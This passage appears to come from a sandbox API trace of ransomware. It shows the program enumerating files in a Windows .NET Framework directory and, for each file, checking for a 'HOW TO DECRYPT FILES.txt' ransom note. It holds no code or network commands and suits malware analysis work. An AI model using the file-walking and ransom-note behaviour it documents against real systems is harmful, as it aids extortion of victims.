ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x22d3d700, ftLastWriteTime.dwHighDateTime=0x1d0aa92, nFileSizeHigh=0x0, nFileSizeLow=0xf30d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet_perf2.ini", cAlternateFileName="ASPNET~2.INI")) returned 1 [0137.363] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.364] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_perf.ini") returned="aspnet_perf.ini" [0137.364] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.364] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.364] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.364] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.364] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="aspnet_perf2.ini" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_perf2.ini") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_perf2.ini" [0137.364] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x57128a80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x160a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet_rc.dll", cAlternateFileName="ASPNET~4.DLL")) returned 1 [0137.364] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.364] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_perf2.ini") returned="aspnet_perf2.ini" [0137.365] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.365] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.365] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.365] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.365] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="aspnet_rc.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_rc.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_rc.dll" [0137.365] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5714ebe0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xaec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet_regbrowsers.exe", cAlternateFileName="ASPNET~2.EXE")) returned 1 [0137.365] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.365] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_rc.dll") returned="aspnet_rc.dll" [0137.365] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.365] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.365] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.365] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.366] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="aspnet_regbrowsers.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_regbrowsers.exe") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_regbrowsers.exe" [0137.366] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x57174d40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x9cb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet_regiis.exe", cAlternateFileName="ASPNET~3.EXE")) returned 1 [0137.366] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.366] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_regbrowsers.exe") returned="aspnet_regbrowsers.exe" [0137.366] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.366] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.366] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.366] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.366] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="aspnet_regiis.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_regiis.exe") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_regiis.exe" [0137.367] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fff00, ftCreationTime.dwHighDateTime=0x1d0aa99, ftLastAccessTime.dwLowDateTime=0x5719aea0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x71fff00, ftLastWriteTime.dwHighDateTime=0x1d0aa99, nFileSizeHigh=0x0, nFileSizeLow=0x1eeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet_regsql.exe", cAlternateFileName="ASPNET~4.EXE")) returned 1 [0137.367] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.367] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_regiis.exe") returned="aspnet_regiis.exe" [0137.367] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.367] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.367] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.367] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.367] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="aspnet_regsql.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_regsql.exe") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_regsql.exe" [0137.367] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x571c1000, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xb0b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet_state.exe", cAlternateFileName="AS41BC~1.EXE")) returned 1 [0137.367] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.367] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_regsql.exe") returned="aspnet_regsql.exe" [0137.367] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.367] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.368] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.368] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.368] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="aspnet_state.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_state.exe") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_state.exe" [0137.368] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58806000, ftCreationTime.dwHighDateTime=0x1cd5cfa, ftLastAccessTime.dwLowDateTime=0xca452180, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x58806000, ftLastWriteTime.dwHighDateTime=0x1cd5cfa, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet_state_perf.h", cAlternateFileName="ASPNET~2.H")) returned 1 [0137.371] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.372] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_state.exe") returned="aspnet_state.exe" [0137.372] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.372] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.372] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.372] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.372] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="aspnet_state_perf.h" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_state_perf.h") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_state_perf.h" [0137.372] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18c87100, ftCreationTime.dwHighDateTime=0x1cd5d18, ftLastAccessTime.dwLowDateTime=0xca4782e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x18c87100, ftLastWriteTime.dwHighDateTime=0x1cd5d18, nFileSizeHigh=0x0, nFileSizeLow=0xa7f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet_state_perf.ini", cAlternateFileName="ASPNET~3.INI")) returned 1 [0137.372] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.372] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_state_perf.h") returned="aspnet_state_perf.h" [0137.372] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.372] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.372] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.372] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.373] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="aspnet_state_perf.ini" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_state_perf.ini") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_state_perf.ini" [0137.373] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x571e7160, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xa6a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet_wp.exe", cAlternateFileName="ASE421~1.EXE")) returned 1 [0137.373] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.373] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_state_perf.ini") returned="aspnet_state_perf.ini" [0137.373] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.373] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.373] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.373] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.373] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="aspnet_wp.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_wp.exe") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_wp.exe" [0137.374] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x57506e40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1a298, dwReserved0=0x0, dwReserved1=0x0, cFileName="CasPol.exe", cAlternateFileName="")) returned 1 [0137.374] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.374] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_wp.exe") returned="aspnet_wp.exe" [0137.374] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.374] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.374] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.374] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.374] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="CasPol.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\CasPol.exe") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\CasPol.exe" [0137.374] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x8aaaac60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0x0, dwReserved1=0x0, cFileName="caspol.exe.config", cAlternateFileName="CASPOL~1.CON")) returned 1 [0137.374] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.375] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\CasPol.exe") returned="CasPol.exe" [0137.375] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.375] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.375] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.375] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.375] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="caspol.exe.config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\caspol.exe.config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\caspol.exe.config" [0137.375] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbac6c600, ftCreationTime.dwHighDateTime=0x1d0aa7c, ftLastAccessTime.dwLowDateTime=0x5826aa00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xbac6c600, ftLastWriteTime.dwHighDateTime=0x1d0aa7c, nFileSizeHigh=0x0, nFileSizeLow=0x4e663, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLR-ETW.man", cAlternateFileName="")) returned 1 [0137.375] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.375] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\caspol.exe.config") returned="caspol.exe.config" [0137.375] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.375] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.375] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.376] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.376] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="CLR-ETW.man" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\CLR-ETW.man") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\CLR-ETW.man" [0137.376] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x580edc40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6a5490, 